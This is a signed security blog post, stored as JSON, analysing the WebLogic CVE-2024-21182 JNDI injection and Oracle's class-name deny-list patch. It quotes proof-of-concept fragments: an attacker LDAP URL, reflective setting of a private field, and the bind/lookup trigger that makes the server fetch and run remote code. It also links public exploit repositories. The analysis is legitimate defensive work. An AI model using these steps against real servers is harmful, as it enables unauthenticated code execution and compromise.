-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The PoC kept the import the patch named.\n\nSix weeks after Oracle's October 2024 Critical Patch Update, a GitHub user named k4it0k1d published a 149-line Java source file at `https://github.com/k4it0k1d/CVE-2024-21182`. The repository's only documentation is a two-line README: \"Oracle WebLogic Server JNDI Vulnerability / For educational purpose only.\" The code is the document.\n\nThe file's import block lists four WebLogic classes:\n\n```java\nimport weblogic.ejb.container.internal.AggregatableOpaqueReference;\nimport weblogic.j2ee.descriptor.InjectionTargetBean;\nimport weblogic.j2ee.descriptor.MessageDestinationRefBean;\nimport weblogic.jndi.internal.ForeignOpaqueReference;\n```\n\nThe fourth import is not referenced anywhere in the body of the file. `ForeignOpaqueReference` is the class Oracle's CVE-2023-21839 patch named. The PoC for CVE-2023-21839 used that class; the file at `k4it0k1d/CVE-2024-21182` is what the prior PoC looks like after one carrier swap. The carrier this PoC actually uses is on the first import line: `AggregatableOpaqueReference`, in a different WebLogic package, reaching the same server-side resolution path. The patch from the 2023 version of the PoC to the 2024 version is, structurally, the same patch Oracle would have needed to apply to close the family instead of the instance: change one class reference.\n\nThe author chose the second carrier. Oracle's deny-list had named the first. The unused import sits in the file as testimony.\n\n## The sink does not check the carrier.\n\nThe client connects to the WebLogic server on T3 port 7001 with no authentication:\n\n```java\nString t3Url = \"192.168.xx.xx:7001\";\nString ldapUrl = \"ldap://192.168.xx.xx:1389/Evil\";\nInitialContext c = getInitialContext(\"t3://\"+t3Url);\n```\n\nIt instantiates a `MessageDestinationReference` whose third constructor argument is the attacker-controlled LDAP URL:\n\n```java\nweblogic.application.naming.MessageDestinationReference messageDestinationReference =\n new weblogic.application.naming.MessageDestinationReference(\n null,\n new MessageDestinationRefBean() { /* empty getters */ },\n String.format(\"%s\", ldapUrl),\n null, null);\n```\n\nIt instantiates an `AggregatableOpaqueReference` with throwaway strings for the carrier's public constructor, then uses reflection to install the malicious `MessageDestinationReference` into the carrier's private `referent` field:\n\n```java\nAggregatableOpaqueReference f = new AggregatableOpaqueReference(\"s\", \"random\", \"random\");\nField ref = AggregatableOpaqueReference.class.getDeclaredField(\"referent\");\nref.setAccessible(true);\nref.set(f, messageDestinationReference);\n```\n\nThe reflective set is necessary because the public constructor will not accept a `MessageDestinationReference` as the referent. The field is private; the language's normal access protections refuse the assignment; `setAccessible(true)` defeats the protection. The carrier now holds a referent the language never agreed to give it.\n\nThe client binds the rigged carrier under a random name and immediately looks it up:\n\n```java\nString bindName = new Random(System.currentTimeMillis()).nextLong() + \"\";\nc.bind(bindName, f);\nc.lookup(bindName);\n```\n\nThe `bind` serializes the carrier and sends it to the server. The `lookup` triggers the server to resolve it. The reproducible Docker lab at `dinosn/CVE-2024-21182`, published June 2, 2026, documents the server-side resolution chain:\n\n```\nweblogic.jndi.internal.WLContextImpl.lookup\n -> javax.naming.spi.NamingManager.getObjectInstance\n -> weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance\n -> weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)\n -> new InitialContext().lookup(\"ldap://192.168.xx.xx:1389/Evil\")\n```\n\n`lookupMessageDestination` reads the URL the client put into the `MessageDestinationReference` constructor and passes it to a fresh `InitialContext().lookup()`. The lookup runs inside the WebLogic JVM. The URL is attacker-controlled. The LDAP server returns a JNDI `Reference` with a `javaCodeBase` field pointing to an attacker-controlled HTTP server. The WebLogic JVM, running a JDK old enough to default `com.sun.jndi.ldap.object.trustURLCodebase=true`, fetches and loads the class from that HTTP server. The class's static initializer runs whatever code the attacker wrote.\n\nThe entire chain is unauthenticated. The entire chain runs in the server's process. The attacker has executed code as the WebLogic user, on a port (7001) the product expects every cluster member to reach.\n\nAt no point in the chain does the server ask which `OpaqueReference` implementation it is resolving. The sink reads the referent the carrier hands it. Both `ForeignOpaqueReference` and `AggregatableOpaqueReference` can hand it a `MessageDestinationReference` with the attacker's URL. The check the CVE-2023-21839 patch installed lives upstream of the sink, keyed on the carrier's class name. It looked at the first one. It did not look at the second.\n\n## The OpaqueReference family.\n\n`OpaqueReference` is a WebLogic-internal interface for objects whose JNDI resolution happens server-side through a custom resolver instead of through standard Java reference serialization. The interface exists so that components in WebLogic's clustering, EJB container, and naming subsystems can hand each other unresolved references that get fixed up the first time someone asks for them. The interface has more than two implementations. `ForeignOpaqueReference` and `AggregatableOpaqueReference` are two of them. Each was named in turn by a CVE; the rest of the hierarchy is not, at the time of writing, listed in any public class-name deny-list.\n\nA check keyed on class name closes one carrier per round. The sink is the same in every round. The thing the sink does is read the referent the carrier hands it and resolve it as a JNDI URL. The sink has no notion that the carrier should not be allowed to hand it an attacker-controlled URL. The carrier list is the only check.\n\nThis is the [unpatchable-primitive](/patterns/unpatchable-primitive) shape on WebLogic's T3/IIOP. The catalog already carries the same shape elsewhere. On [Apache Calcite's `ModelHandler`](/posts/calcite-cve-2026-46718-denylist-is-not-a-sandbox), the patch closes six gadget classes and the Javadoc admits the deny-list is not a sandbox. On [ActiveMQ's JMX-denied schemes](/posts/activemq-jmx-denied-schemes-was-one), the 5.19.4 patch denied one URI scheme and the next CVE on the same line denied fourteen. WebLogic joins both. The list of named OpaqueReference subclasses grew by one with CVE-2023-21839. It grew by one again with CVE-2024-21182. The reason the carriers can be named one at a time is that the design did not put the check at the sink.\n\n## Twenty months from \"unspecified\" to KEV.\n\nOracle's October 2024 CPU bulletin for CVE-2024-21182 calls the bug an \"unspecified vulnerability in the Core component of Oracle WebLogic Server\" reachable over T3 and IIOP. CVSS 7.5. Unauthenticated. The sentence does not name `OpaqueReference`, JNDI, `MessageDestinationReference`, the `referent` field, or any class in the path. The defender reading the bulletin received the words \"unspecified\" and \"Core.\"\n\nCISA added CVE-2024-21182 to KEV on June 1, 2026, twenty months after the patch shipped. The federal deadline was June 4, 2026. Three days. The PoC at `k4it0k1d` has been public on GitHub since December 29, 2024, eighteen months before CISA's notification. The reproducible Docker lab at `dinosn` was created on June 2, 2026, the day after KEV inclusion. The lab's README cites vulhub's CVE-2023-21839 image and notes that the lab \"faithfully reproduces the `OpaqueReference` JNDI-injection RCE vulnerability class, exercised with the exact CVE-2024-21182 gadget classes.\"\n\nIn the eighteen-month window between PoC publication and KEV inclusion, the customer-visible signal that the \"unspecified vulnerability in the Core component\" was a JNDI injection through a sibling of the previously-named class was the GitHub repository the Oracle advisory does not link. A WebLogic administrator who read the October 2024 CPU and applied the patch on schedule received no further guidance until CISA's notification arrived. The patch had been on the server for twenty months. The administrator was not informed that the bug it closed was a JNDI injection. The administrator was not informed that the patch was a class-name deny-list. The administrator was informed in June 2026 that the patch they had already applied was now urgent.\n\nThis is the [disclosure-after-exploitation](/patterns/disclosure-after-exploitation) shape with the disclosure timeline split into two halves. The technical disclosure was the GitHub PoC, eighteen months before the regulatory disclosure. The customers in the gap were patched by Oracle's calendar and uninformed by Oracle's bulletin. The federal deadline catches up to what the CVE description was already documenting on its publication day, in words the bulletin chose not to use.\n\n## Close.\n\n`OpaqueReference` is older than every administrator currently running WebLogic. The interface was designed for a clustering model in which T3/IIOP peers were trusted by topology, not by check. The deserialize-and-resolve contract assumes the peer who sent the object had a reason to send it. The check Oracle adds, one class at a time, is the same shape as the trust the design did not include from the start.\n\nPoC: [k4it0k1d/CVE-2024-21182](https://github.com/k4it0k1d/CVE-2024-21182), [dinosn/CVE-2024-21182](https://github.com/dinosn/CVE-2024-21182)","closing_line":"The patch denied one OpaqueReference. The sink reads any of them.","hook_md":"Oracle's patch for CVE-2023-21839 added a guard against `weblogic.jndi.internal.ForeignOpaqueReference`. A T3 client could no longer `bind()` that class into a WebLogic server's JNDI tree to coerce a server-side lookup against an attacker-controlled LDAP URL. The patch named the class. `weblogic.ejb.container.internal.AggregatableOpaqueReference`, which lives one package over and reaches the same `MessageDestinationReference.lookupMessageDestination` sink at line 62 by way of the same reflective `referent` field, was not in the patch. CVE-2024-21182, addressed in Oracle's October 2024 Critical Patch Update and added to CISA's Known Exploited Vulnerabilities Catalog on June 1, 2026 with a three-day federal remediation deadline, is what a 149-line public PoC at `k4it0k1d/CVE-2024-21182` does with the sibling class.","post_id":636,"slug":"weblogic-cve-2024-21182-opaquereference-has-a-sibling","title":"CVE-2024-21182: WebLogic Denied `ForeignOpaqueReference`. `AggregatableOpaqueReference` Reaches The Same JNDI Lookup.","type":"initial","unreadable_sentence":"The patch denied one OpaqueReference. The sink reads any of them."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajBMqQAKCRDeZjl4jgkQ JkXqAP9E68feX//1/f8iRkOhKe5gR1I4P5e9VZdqXzG1rv1/fAEAmH7r8Fal4GIT xz+DsfHf1yzONl4nVEjUgIs1OFLQ/As= =UCMr -----END PGP SIGNATURE-----